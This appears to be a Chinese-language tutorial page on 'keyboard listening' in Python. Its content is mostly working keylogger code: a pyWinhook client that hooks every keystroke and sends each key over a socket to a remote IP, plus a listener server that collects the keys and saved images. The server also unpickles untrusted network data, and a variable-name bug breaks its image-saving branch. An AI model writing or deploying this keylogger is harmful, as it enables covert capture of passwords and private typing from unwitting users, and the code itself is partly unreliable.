python监听键盘的方法是什么，怎样实现？-群英

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我们需要知道用户对键盘按了哪些键，所以需要用到监听键盘时间。这篇文章就主要给大家分享python如何实现监听键盘，下文是具体的实例，对大家理解python实现监听键盘有一定帮助。

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()


if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()


def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger()

其中的pythoncom，pyWinhook百度查找安装方法，在此不赘述

运行(先运行服务端，而后运行监听程序)